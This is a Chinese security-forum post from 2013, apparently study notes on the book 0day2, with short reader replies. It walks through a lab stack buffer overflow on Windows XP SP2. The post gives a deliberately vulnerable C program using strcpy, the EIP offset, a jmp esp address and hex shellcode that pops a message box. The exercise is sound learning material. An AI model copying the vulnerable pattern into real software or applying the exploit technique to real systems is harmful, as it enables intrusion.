首页
社区
课程
招聘
[原创]旧书重温:0day2[1] 简单的缓冲区溢出案例
发表于: 2013-12-12 23:21 4383

[原创]旧书重温:0day2[1] 简单的缓冲区溢出案例

2013-12-12 23:21
4383
旧书重温系列

旧书重温:0day2【1】 简单的缓冲区溢出案例 http://bbs.pediy.com/showthread.php?t=182497
旧书重温:0day2【2】 实验:三种获取kernel32.dll基址的方法 http://bbs.pediy.com/showthread.php?t=182498
旧书重温:0day2【3】 详细解读PEB法 查找kener32地址 http://bbs.pediy.com/showthread.php?t=182499
旧书重温:0day2【4】动态获取函数地址 http://bbs.pediy.com/showthread.php?t=182520
旧书重温:0day2【5】shellcode变形记 http://bbs.pediy.com/showthread.php?t=182551
旧书重温:0day2【6】bind_shell http://bbs.pediy.com/showthread.php?t=182689


0x01 准备:

VMwarePlayer


(我是在360软件管家那搜到的下载的)

xp sp2 http://user.qzone.qq.com/252738331/blog/1357138598

(这是我的QQ空间文章,平时收藏的一些windows老版系统,用来做实验用的)

vc++6.0绿色完整版 网上自己下巴(30M左右)

ollydby (OllyDBG_1.10_second_cao_cong看雪上下的)

winhex (网上有很多的)

安装好VM、做好虚拟机(xp sp2)、虚拟机里安好vc++6.0 , ollydby winhex ....

0x02 生成带缓冲区溢出漏洞的程序

include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"

int verify(char * passwd)
{
    int iRet;
    char buffer[8];
    iRet = strcmp(passwd,PASSWORD);
    strcpy(buffer,passwd);
    return iRet;

}

int main()
{

    int flag = 0;
    char passwd[1024];
    FILE * fp;
    LoadLibrary("user32.dll");
    //MessageBox(NULL,"dd","xx",1);
    if(!(fp=fopen("password2.txt","rw+")))
    {
        printf("fp fopen flaid \n");
        int e = GetLastError();
        exit(0);
    }
    fscanf(fp,"%s",passwd);
    flag = verify(passwd);
    if(flag)
    {
        printf("incorrect password \n");
    }
    else
    {
        printf("correct password \n");
    }
    fclose(fp);
    return 0;
    
}


以上参考0day2

0x03触发 溢出

把debug目录下password2.txt,内容输入abcdefjh.....xyz 保存、运行生成的exe 、溢出



offset:74737371   tsrq 控制eip

0x04 分析

设置ollydby为默认实时调试器

运行exe ollydby断下

仔细观察发现  tsrq 处 控制了eip , esp指向 uvwxyz

所以可以用 jmp esp 策略 使用 lion万能 jmp esp 0x7ffa4512 反向填充tsrq处,

0x 9083EC4033DB536877657374686661696C8BC453505053B81661D677FFD0 为shellcode 填充uvwxyz....

(其中我的xp sp2 上的 messageboxw的地址1661D677,因为我的messageboxA 的地址含0较多截断了字符串所以用了W的)

自己根据情况修改红处( 以上修改文件都是用winhex修改)


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 5
支持
分享
最新回复 (10)
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
不错哈
2013-12-16 20:41
0
雪    币: 44229
活跃值: (19965)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
3
文章不错,将你的系列文章加了一个导航。

旧书重温系列

旧书重温:0day2【1】 简单的缓冲区溢出案例 http://bbs.pediy.com/showthread.php?t=182497
旧书重温:0day2【2】 实验:三种获取kernel32.dll基址的方法 http://bbs.pediy.com/showthread.php?t=182498
旧书重温:0day2【3】 详细解读PEB法 查找kener32地址 http://bbs.pediy.com/showthread.php?t=182499
旧书重温:0day2【4】动态获取函数地址 http://bbs.pediy.com/showthread.php?t=182520
旧书重温:0day2【5】shellcode变形记 http://bbs.pediy.com/showthread.php?t=182551
旧书重温:0day2【6】bind_shell http://bbs.pediy.com/showthread.php?t=182689
2014-7-8 21:14
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
4
我也来顶下zhenwo,笔记总结的不错...
2014-7-8 21:18
0
雪    币: 31
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
这个有什么用
2014-7-8 22:56
0
雪    币: 1555
活跃值: (3032)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
6
谢谢 ! 感谢看雪
2014-7-10 06:55
0
雪    币: 754
活跃值: (180)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
总结的很详细嘛
2014-7-11 17:59
0
雪    币: 271
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
随便看个帖子 就能看到你啊  冰哥哥  
2014-8-7 17:13
0
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
看别人的笔记自己省力很多啊。。LZ继续
2014-8-7 17:15
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
10
......
2014-8-7 17:17
0
雪    币: 1555
活跃值: (3032)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
11
你看你的精华帖子都11了 牛。。。。
2014-8-17 16:26
0
游客
登录 | 注册 方可回帖
返回
//